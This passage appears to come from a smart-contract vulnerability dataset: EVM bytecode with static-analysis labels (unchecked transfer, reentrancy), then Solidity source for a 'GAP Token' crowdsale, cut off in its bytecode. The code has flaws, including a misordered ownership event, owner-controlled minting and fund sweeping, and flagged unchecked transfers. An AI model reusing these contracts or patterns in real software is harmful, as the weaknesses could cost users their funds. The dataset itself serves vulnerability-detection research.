03811660009081526001602052604090205460ff161515610c7457600080fd5b600160a060020a038116600081815260016020526040808220805460ff19169055517fb6932914dcfc2a1d602e4e0cd9f9d99dc9640ccfc789b1b83a691fc0c90c24c39190a250565b600160a060020a031660009081526004602052604090205460ff1690565b600e5481565b600054600160a060020a03163314610cf857600080fd5b600160a060020a0381161515610d0d57600080fd5b600160a060020a0381166000818152600160208190526040808320805460ff1916909217909155517fad6de4452a631e641cb59902236607946ce9272b9b981f2f80e8d129cb9084ba9190a250565b610d65336109da565b1515610d7057600080fd5b600c55565b610d7e336109da565b1515610d8957600080fd5b600160a060020a03811660009081526003602052604090205460ff161515610db057600080fd5b600160a060020a038116600081815260036020526040808220805460ff19169055517f069d00d2f2dbd28f23c2700b746dcb098284ac37ffe50573648bbdd69ff9d4909190a250565b600054600160a060020a03163314610e1057600080fd5b600160a060020a0381161515610e2557600080fd5b600f805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60036020526000908152604090205460ff1681565b610e72336109da565b1515610e7d57600080fd5b600254604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600092600160a060020a0316916370a0823191602480830192602092919082900301818787803b158015610ee257600080fd5b505af1158015610ef6573d6000803e3d6000fd5b505050506040513d6020811015610f0c57600080fd5b505111610f1857600080fd5b600254600f54604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a039384169363a9059cbb93169184916370a08231916024808201926020929091908290030181600087803b158015610f8b57600080fd5b505af1158015610f9f573d6000803e3d6000fd5b505050506040513d6020811015610fb557600080fd5b5051604080517c010000000000000000000000000000000000000000000000000000000063ffffffff8616028152600160a060020a03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561101d57600080fd5b505af1158015611031573d6000803e3d6000fd5b505050506040513d602081101561104757600080fd5b5050565b600054600160a060020a031681565b600081815260066020526040902060080154610100900460ff16151561107f57600080fd5b60008181526006602052604090206008015460ff161561109e57600080fd5b600081815260066020526040902054600160a060020a031633146110c157600080fd5b6000818152600660208190526040909120015442116110df57600080fd5b60008181526006602090815260408083206001810154815460029092015483517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0393841660048201526024810191909152925191169363a9059cbb93604480850194919392918390030190829087803b15801561116557600080fd5b505af1158015611179573d6000803e3d6000fd5b505050506040513d602081101561118f57600080fd5b5051151561119c57600080fd5b6040805182815290517fbea0e66c2d42b9131695ceea7d1aaa21b37e93070cde19c9b5fbd686a32592929181900360200190a150565b60056020526000908152604090205460ff1681565b600082815260066020526040902060080154610100900460ff16151561120c57600080fd5b60008281526006602052604090206008015460ff161561122b57600080fd5b600082815260066020526040902054600160a060020a0316331461124e57600080fd5b60008281526006602081905260409091200154421161126c57600080fd5b6000828152600660209081526040808320600181015460029091015482517f095ea7b3000000000000000000000000000000000000000000000000000000008152600160a060020a0387811660048301526024820192909252925191169363095ea7b393604480850194919392918390030190829087803b1580156112f057600080fd5b505af1158015611304573d6000803e3d6000fd5b505050506040513d602081101561131a57600080fd5b5051151561132757600080fd5b600082815260066020908152604080832060018101546002820154600383015460049384015485517fb783508c000000000000000000000000000000000000000000000000000000008152600160a060020a039485169581019590955260248501929092526044840152606483015291519185169363b783508c9360848084019491939192918390030190829087803b1580156113c357600080fd5b505af11580156113d7573d6000803e3d6000fd5b505050506040513d60208110156113ed57600080fd5b5051151561104757600080fd5b600160a060020a03811660009081526008602090815260409182902080548351818402810184019094528084526060939283018282801561145a57602002820191906000526020600020905b815481526020019060010190808311611446575b50505050509050919050565b61146f336109da565b151561147a57600080fd5b600e55565b600083815260066020526040902060080154610100900460ff1615156114a457600080fd5b60008381526006602052604090206008015460ff16156114c357600080fd5b600083815260066020526040902054600160a060020a031633146114e657600080fd5b60008381526006602081905260409091200154421161150457600080fd5b6000838152600660208181526040928390206003810186905542603c86020160048201819055600a5401920191909155815185815291517f4026f0fcda522fa75132cf30fa90ee1dd7890120be3ce3ec5cf9f78694b5946a9281900390910190a1505050565b6000818152600660205260408120600801548190610100900460ff16151561159157600080fd5b60008381526006602052604090206008015460ff16156115b057600080fd5b600083815260066020819052604090912001544211156115cf57600080fd5b600083815260066020526040902060050154600160a060020a031633146115f557600080fd5b60008381526006602090815260408083206007015460025482517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018390529251919650600160a060020a0316936323b872dd93606480850194919392918390030190829087803b15801561167a57600080fd5b505af115801561168e573d6000803e3d6000fd5b505050506040513d60208110156116a457600080fd5b505115156116b157600080fd5b6116ba33610cbd565b15156116f5576116cc82600b54611d1e565b600c549091506116f2906116e6848463ffffffff611d5016565b9063ffffffff611d5016565b91505b60025460008481526006602090815260408083205481517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a03918216600482015260248101889052915194169363a9059cbb93604480840194938390030190829087803b15801561176e57600080fd5b505af1158015611782573d6000803e3d6000fd5b505050506040513d602081101561179857600080fd5b505060008381526006602090815260408083206001810154600582015460029092015483517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0393841660048201526024810191909152925191169363a9059cbb93604480850194919392918390030190829087803b15801561182357600080fd5b505af1158015611837573d6000803e3d6000fd5b505050506040513d602081101561184d57600080fd5b5051151561185a57600080fd5b600083815260066020908152604091829020600801805460ff191660011790558151858152339181019190915281517fe845626ba2a08ab4c2056f4bc64b91bcbe039c8c7fc3e7def11408870cf5409c929181900390910190a1505050565b6118c2336109da565b15156118cd57600080fd5b600160a060020a03811615156118e257600080fd5b600160a060020a038116600081815260046020526040808220805460ff19166001179055517ff8d5f40934646cedded2cab1b5960f020db583f154fabcf831277b87d1803d139190a250565b600760209081526000928352604080842090915290825290205481565b600054600160a060020a0316331461196257600080fd5b600160a060020a038116151561197757600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6119e8336109da565b15156119f357600080fd5b600b55565b604080517f23b872dd000000000000000000000000000000000000000000000000000000008152600160a060020a0387811660048301523060248301526044820186905291516000928716916323b872dd91606480830192602092919082900301818787803b158015611a6a57600080fd5b505af1158015611a7e573d6000803e3d6000fd5b505050506040513d6020811015611a9457600080fd5b50511515611aa157600080fd5b6101406040519081016040528087600160a060020a0316815260200186600160a060020a0316815260200185815260200184815260200183603c02420181526020016000600160a060020a03168152602001600a5484603c024201018152602001600081526020016000151581526020016001151581525060066000600960008154600101919050819055815260200190815260200160002060008201518160000160006101000a815481600160a060020a030219169083600160a060020a0316021790555060208201518160010160006101000a815481600160a060020a030219169083600160a060020a0316021790555060408201518160020155606082015181600301556080820151816004015560a08201518160050160006101000a815481600160a060020a030219169083600160a060020a0316021790555060c0820151816006015560e082015181600701556101008201518160080160006101000a81548160ff0219169083151502179055506101208201518160080160016101000a81548160ff0219169083151502179055509050506009546007600087600160a060020a0316600160a060020a031681526020019081526020016000206000868152602001908152602001600020819055506008600087600160a060020a0316600160a060020a03168152602001908152602001600020600954908060018154018082558091505090600182039060005260206000200160009091929091909150555085600160a060020a03167fc078426956212265671526c1abdaea1311badbf1505fe0711db77bca2fa9afae85600954604051808381526020018281526020019250505060405180910390a25060095495945050505050565b600080611d43612710611d37868663ffffffff611d6216565b9063ffffffff611d9416565b90508091505b5092915050565b600082821115611d5c57fe5b50900390565b600080831515611d755760009150611d49565b50828202828482811515611d8557fe5b0414611d8d57fe5b9392505050565b6000808284811515611da257fe5b049493505050505600a165627a7a7230582018fd614ebc358a7dd8bb73511c7304e9a3214760960aea6a9e8ef7405c29c0ae0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "erc721-interface", "impact": "Medium", "confidence": "High"}]}} | 1,934 |
0xff8a7226911d15c35f00b6d6c80a048b1ed98b1c | pragma solidity 0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() { require(msg.sender == owner); _; }
function Ownable() public {
owner = msg.sender;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
OwnershipTransferred(owner, newOwner);
}
}
contract Pausable is Ownable {
bool public paused = false;
event Pause();
event Unpause();
modifier whenNotPaused() { require(!paused); _; }
modifier whenPaused() { require(paused); _; }
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20 {
uint256 public totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address who) public view returns(uint256);
function transfer(address to, uint256 value) public returns(bool);
function transferFrom(address from, address to, uint256 value) public returns(bool);
function allowance(address owner, address spender) public view returns(uint256);
function approve(address spender, uint256 value) public returns(bool);
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
function StandardToken(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function balanceOf(address _owner) public view returns(uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns(bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function multiTransfer(address[] _to, uint256[] _value) public returns(bool) {
require(_to.length == _value.length);
for(uint i = 0; i < _to.length; i++) {
transfer(_to[i], _value[i]);
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns(uint256) {
return allowed[_owner][_spender];
}
function approve(address _spender, uint256 _value) public returns(bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns(bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns(bool) {
uint oldValue = allowed[msg.sender][_spender];
if(_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() { require(!mintingFinished); _; }
modifier notMint() { require(mintingFinished); _; }
function mint(address _to, uint256 _amount) onlyOwner canMint public returns(bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns(bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns(bool) {
require(totalSupply.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
/*
ICO Gap
- Crowdsale goes in 4 steps:
- 1st step PreSale 0: the administrator can issue tokens; purchase and sale are closed; Max. tokens 5 000 000
- 2nd step PreSale 1: the administrator can not issue tokens; the sale is open; purchase is closed; Max. tokens 5 000 000 + 10 000 000
- The third step of PreSale 2: the administrator can not issue tokens; the sale is open; purchase is closed; Max. tokens 5 000 000 + 10 000 000 + 15 000 000
- 4th step ICO: administrator can not issue tokens; the sale is open; the purchase is open; Max. tokens 5 000 000 + 10 000 000 + 15 000 000 + 30 000 000
Addition:
- Total emissions are limited: 100,000,000 tokens
- at each step it is possible to change the price of the token
- the steps are not limited in time and the step change is made by the nextStep administrator
- funds are accumulated on a contract basis
- at any time closeCrowdsale can be called: the funds and management of the token are transferred to the beneficiary; the release of + 65% of tokens to the beneficiary; minting closes
- at any time, refundCrowdsale can be called: funds remain on the contract; withdraw becomes unavailable; there is an opportunity to get refund
- transfer of tokens before closeCrowdsale is unavailable
- you can buy no more than 500 000 tokens for 1 purse.
*/
contract Token is CappedToken, BurnableToken {
function Token() CappedToken(100000000 * 1 ether) StandardToken("GAP Token", "GAP", 18) public {
}
function transfer(address _to, uint256 _value) notMint public returns(bool) {
return super.transfer(_to, _value);
}
function multiTransfer(address[] _to, uint256[] _value) notMint public returns(bool) {
return super.multiTransfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) notMint public returns(bool) {
return super.transferFrom(_from, _to, _value);
}
function burnOwner(address _from, uint256 _value) onlyOwner canMint public {
require(_value <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(_from, _value);
}
}
contract Crowdsale is Pausable {
using SafeMath for uint;
struct Step {
uint priceTokenWei;
uint tokensForSale;
uint tokensSold;
uint collectedWei;
bool purchase;
bool issue;
bool sale;
}
Token public token;
address public beneficiary = 0x4B97b2938844A775538eF0b75F08648C4BD6fFFA;
Step[] public steps;
uint8 public currentStep = 0;
bool public crowdsaleClosed = false;
bool public crowdsaleRefund = false;
uint public refundedWei;
mapping(address => uint256) public canSell;
mapping(address => uint256) public purchaseBalances;
event Purchase(address indexed holder, uint256 tokenAmount, uint256 etherAmount);
event Sell(address indexed holder, uint256 tokenAmount, uint256 etherAmount);
event Issue(address indexed holder, uint256 tokenAmount);
event Refund(address indexed holder, uint256 etherAmount);
event NextStep(uint8 step);
event CrowdsaleClose();
event CrowdsaleRefund();
function Crowdsale() public {
token = new Token();
steps.push(Step(1 ether / 1000, 5000000 * 1 ether, 0, 0, false, true, false));
steps.push(Step(1 ether / 1000, 10000000 * 1 ether, 0, 0, true, false, false));
steps.push(Step(1 ether / 500, 15000000 * 1 ether, 0, 0, true, false, false));
steps.push(Step(1 ether / 100, 30000000 * 1 ether, 0, 0, true, false, true));
}
function() payable public {
purchase();
}
function setTokenRate(uint _value) onlyOwner whenPaused public {
require(!crowdsaleClosed);
steps[currentStep].priceTokenWei = 1 ether / _value;
}
function purchase() whenNotPaused payable public {
require(!crowdsaleClosed);
require(msg.value >= 0.001 ether);
Step memory step = steps[currentStep];
require(step.purchase);
require(step.tokensSold < step.tokensForSale);
require(token.balanceOf(msg.sender) < 500000 ether);
uint sum = msg.value;
uint amount = sum.mul(1 ether).div(step.priceTokenWei);
uint retSum = 0;
uint retAmount;
if(step.tokensSold.add(amount) > step.tokensForSale) {
retAmount = step.tokensSold.add(amount).sub(step.tokensForSale);
retSum = retAmount.mul(step.priceTokenWei).div(1 ether);
amount = amount.sub(retAmount);
sum = sum.sub(retSum);
}
if(token.balanceOf(msg.sender).add(amount) > 500000 ether) {
retAmount = token.balanceOf(msg.sender).add(amount).sub(500000 ether);
retSum = retAmount.mul(step.priceTokenWei).div(1 ether);
amount = amount.sub(retAmount);
sum = sum.sub(retSum);
}
steps[currentStep].tokensSold = step.tokensSold.add(amount);
steps[currentStep].collectedWei = step.collectedWei.add(sum);
purchaseBalances[msg.sender] = purchaseBalances[msg.sender].add(sum);
token.mint(msg.sender, amount);
if(retSum > 0) {
msg.sender.transfer(retSum);
}
Purchase(msg.sender, amount, sum);
}
function issue(address _to, uint256 _value) onlyOwner whenNotPaused public {
require(!crowdsaleClosed);
Step memory step = steps[currentStep];
require(step.issue);
require(step.tokensSold.add(_value) <= step.tokensForSale);
steps[currentStep].tokensSold = step.tokensSold.add(_value);
canSell[_to] = canSell[_to].add(_value).div(100).mul(20);
token.mint(_to, _value);
Issue(_to, _value);
}
function sell(uint256 _value) whenNotPaused public {
require(!crowdsaleClosed);
require(canSell[msg.sender] >= _value);
require(token.balanceOf(msg.sender) >= _value);
Step memory step = steps[currentStep];
require(step.sale);
canSell[msg.sender] = canSell[msg.sender].sub(_value);
token.burnOwner(msg.sender, _value);
uint sum = _value.mul(step.priceTokenWei).div(1 ether);
msg.sender.transfer(sum);
Sell(msg.sender, _value, sum);
}
function refund() public {
require(crowdsaleRefund);
require(purchaseBalances[msg.sender] > 0);
uint sum = purchaseBalances[msg.sender];
purchaseBalances[msg.sender] = 0;
refundedWei = refundedWei.add(sum);
msg.sender.transfer(sum);
Refund(msg.sender, sum);
}
function nextStep() onlyOwner public {
require(!crowdsaleClosed);
require(steps.length - 1 > currentStep);
currentStep += 1;
NextStep(currentStep);
}
function closeCrowdsale() onlyOwner public {
require(!crowdsaleClosed);
beneficiary.transfer(this.balance);
token.mint(beneficiary, token.totalSupply().div(100).mul(65));
token.finishMinting();
token.transferOwnership(beneficiary);
crowdsaleClosed = true;
CrowdsaleClose();
}
function refundCrowdsale() onlyOwner public {
require(!crowdsaleClosed);
crowdsaleRefund = true;
crowdsaleClosed = true;
CrowdsaleRefund();
}
} | 0x606060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461011757806306fdde0314610144578063095ea7b3146101d257806318160ddd1461022c5780631e89d5451461025557806323b872dd14610307578063313ce56714610380578063355274ea146103af57806340c10f19146103d857806342966c6814610432578063661884631461045557806370a08231146104af5780637d64bcb4146104fc5780638da5cb5b1461052957806395d89b411461057e578063a9059cbb1461060c578063b6c0525514610666578063d73dd623146106a8578063dd62ed3e14610702578063f2fde38b1461076e575b600080fd5b341561012257600080fd5b61012a6107a7565b604051808215151515815260200191505060405180910390f35b341561014f57600080fd5b6101576107ba565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019757808201518184015260208101905061017c565b50505050905090810190601f1680156101c45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101dd57600080fd5b610212600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610858565b604051808215151515815260200191505060405180910390f35b341561023757600080fd5b61023f61094a565b6040518082815260200191505060405180910390f35b341561026057600080fd5b6102ed60048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050610950565b604051808215151515815260200191505060405180910390f35b341561031257600080fd5b610366600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061097f565b604051808215151515815260200191505060405180910390f35b341561038b57600080fd5b6103936109b0565b604051808260ff1660ff16815260200191505060405180910390f35b34156103ba57600080fd5b6103c26109c3565b6040518082815260200191505060405180910390f35b34156103e357600080fd5b610418600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109c9565b604051808215151515815260200191505060405180910390f35b341561043d57600080fd5b6104536004808035906020019091905050610a7a565b005b341561046057600080fd5b610495600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610bcf565b604051808215151515815260200191505060405180910390f35b34156104ba57600080fd5b6104e6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e60565b6040518082815260200191505060405180910390f35b341561050757600080fd5b61050f610ea9565b604051808215151515815260200191505060405180910390f35b341561053457600080fd5b61053c610f71565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561058957600080fd5b610591610f97565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d15780820151818401526020810190506105b6565b50505050905090810190601f1680156105fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561061757600080fd5b61064c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611035565b604051808215151515815260200191505060405180910390f35b341561067157600080fd5b6106a6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611064565b005b34156106b357600080fd5b6106e8600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061122c565b604051808215151515815260200191505060405180910390f35b341561070d57600080fd5b610758600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611428565b6040518082815260200191505060405180910390f35b341561077957600080fd5b6107a5600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506114af565b005b600660149054906101000a900460ff1681565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108505780601f1061082557610100808354040283529160200191610850565b820191906000526020600020905b81548152906001019060200180831161083357829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b6000600660149054906101000a900460ff16151561096d57600080fd5b6109778383611607565b905092915050565b6000600660149054906101000a900460ff16151561099c57600080fd5b6109a7848484611679565b90509392505050565b600360009054906101000a900460ff1681565b60075481565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a2757600080fd5b600660149054906101000a900460ff16151515610a4357600080fd5b600754610a5b83600054611a3890919063ffffffff16565b11151515610a6857600080fd5b610a728383611a56565b905092915050565b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610aca57600080fd5b339050610b1f82600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3e90919063ffffffff16565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b7782600054611c3e90919063ffffffff16565b6000819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce0576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d74565b610cf38382611c3e90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f0757600080fd5b600660149054906101000a900460ff16151515610f2357600080fd5b6001600660146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561102d5780601f106110025761010080835404028352916020019161102d565b820191906000526020600020905b81548152906001019060200180831161101057829003601f168201915b505050505081565b6000600660149054906101000a900460ff16151561105257600080fd5b61105c8383611c57565b905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110c057600080fd5b600660149054906101000a900460ff161515156110dc57600080fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561112a57600080fd5b61117c81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3e90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111d481600054611c3e90919063ffffffff16565b6000819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a25050565b60006112bd82600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3890919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561150b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561154757600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6000808251845114151561161a57600080fd5b600090505b835181101561166e57611660848281518110151561163957fe5b90602001906020020151848381518110151561165157fe5b90602001906020020151611035565b50808060010191505061161f565b600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156116b657600080fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561170457600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561178f57600080fd5b6117e182600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3e90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061187682600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3890919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061194882600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3e90919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffff